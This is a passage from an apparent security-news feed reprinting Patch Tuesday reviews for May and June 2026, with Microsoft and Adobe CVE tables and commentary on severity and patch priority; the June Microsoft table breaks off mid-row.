  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40414"><span>CVE-2026-40414</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40401"><span>CVE-2026-40401</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40413"><span>CVE-2026-40413</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35422"><span>CVE-2026-35422</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Driver
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34351"><span>CVE-2026-34351</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40399"><span>CVE-2026-40399</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34334"><span>CVE-2026-34334</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40406"><span>CVE-2026-40406</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33837"><span>CVE-2026-33837</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Local
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40415"><span>CVE-2026-40415</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42825"><span>CVE-2026-42825</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34338"><span>CVE-2026-34338</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40382"><span>CVE-2026-40382</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40380"><span>CVE-2026-40380</span></a></td>
  <td width="256" class="xl73">Windows Volume Manager
  Extension Driver Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40408"><span>CVE-2026-40408</span></a></td>
  <td width="256" class="xl73">Windows WAN ARP Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34333"><span>CVE-2026-34333</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34347"><span>CVE-2026-34347</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35417"><span>CVE-2026-35417</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42891"><span>CVE-2026-42891</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35429"><span>CVE-2026-35429</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41107"><span>CVE-2026-41107</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40416"><span>CVE-2026-40416</span></a></td>
  <td width="256" class="xl73">Microsoft
  Edge (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl72">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira &amp; Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.</p><p class="">Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.</p><p class="">As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.</p><p class="">This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption.  Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook.  On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.</p><p class="">Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.</p><p class="">The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI. </p><p class="">There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.</p><p class="">There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The June 2026 Security Update Review]]></title>
<description><![CDATA[I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a ...]]></description>
<link>https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:53 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for June 2026</strong></p><p class="">For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/campaign/apsb26-66.html" target="_blank">APSB26-66</a></td>
    <td>Adobe Campaign Classic</td>
    <td>2</td>
    <td>Critical</td>
    <td>10.0</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-64.html" target="_blank">APSB26-64</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-63.html" target="_blank">APSB26-63</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>20</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-forms/apsb26-57.html" target="_blank">APSB26-57</a></td>
    <td>Adobe Experience Manager Forms</td>
    <td>3</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dreamweaver/apsb26-62.html" target="_blank">APSB26-62</a></td>
    <td>Adobe Dreamweaver</td>
    <td>5</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/formatplugins/apsb26-65.html" target="_blank">APSB26-65</a></td>
    <td>Adobe Format Plugins</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-59.html" target="_blank">APSB26-59</a></td>
    <td>Adobe InCopy</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-58.html" target="_blank">APSB26-58</a></td>
    <td>Adobe InDesign</td>
    <td>12</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-60.html" target="_blank">APSB26-60</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html" target="_blank">APSB26-61</a></td>
    <td>Content Credentials SDK</td>
    <td>8</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-56.html" target="_blank">APSB26-56</a></td>
    <td>Adobe Experience Manager</td>
    <td>57</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>11 bulletins</td>
    <td>123</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.</p><p class=""><strong>Microsoft Patches for June 2026</strong></p><p class="">This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.</p><p class="">One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.</p><p class="">I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.</p><p class="">One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><strong>CVE-2026-41091</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><strong>CVE-2026-45657</strong></a><strong> - Windows Kernel Remote Code Execution Vulnerability<br></strong>This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><strong>CVE-2026-47291</strong></a><strong> - HTTP.sys Remote Code Execution Vulnerability<br></strong>Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><strong>CVE-2026-44815</strong></a><strong> - DHCP Client Service Remote Code Execution Vulnerability<br></strong>Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"><strong>CVE-2026-45585</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><strong>CVE-2026-50507</strong></a><strong> - Windows BitLocker Security Feature Bypass Vulnerability<br></strong>If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “<a href="https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085">bone shattering</a>” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.</p><p class=""> Here’s the full list of CVEs released by Microsoft for June 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="new2026-Jun-cvrf2.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="1024">
 <col width="144">
 <col width="256">
 <col width="104" span="6">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">XI</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><span>CVE-2026-41091</span></a></td>
  <td width="256" class="xl68">Microsoft Defender
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl71">Yes</td>
  <td class="xl70">0</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49160"><span>CVE-2026-49160</span></a></td>
  <td width="256" class="xl68">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><span>CVE-2026-50507</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45586"><span>CVE-2026-45586</span></a></td>
  <td width="256" class="xl68">Windows Collaborative
  Translation Framework (CTFMON) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="91">
  <td class="xl67" height="91"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-10263"><span>CVE-2025-10263 *</span></a></td>
  <td width="256" class="xl68">ARM: CVE-2025-10263
  Completion of affected memory accesses might not be guaranteed by completion
  of a TLBI [kernel]</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48567"><span>CVE-2026-48567</span></a></td>
  <td width="256" class="xl68">Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">10</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32193"><span>CVE-2026-32193</span></a></td>
  <td width="256" class="xl68">Azure Kubernetes
  Service (AKS) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47644"><span>CVE-2026-47644</span></a></td>
  <td width="256" class="xl68">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><span>CVE-2026-44815</span></a></td>
  <td width="256" class="xl68">DHCP Client Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><span>CVE-2026-47291</span></a></td>
  <td width="256" class="xl68">HTTP.sys Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42824"><span>CVE-2026-42824</span></a></td>
  <td width="256" class="xl68">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45476"><span>CVE-2026-45476</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Network Adapter Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44810"><span>CVE-2026-44810</span></a></td>
  <td width="256" class="xl68">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48579"><span>CVE-2026-48579</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Online Information Disclosure Vulnerability</td>
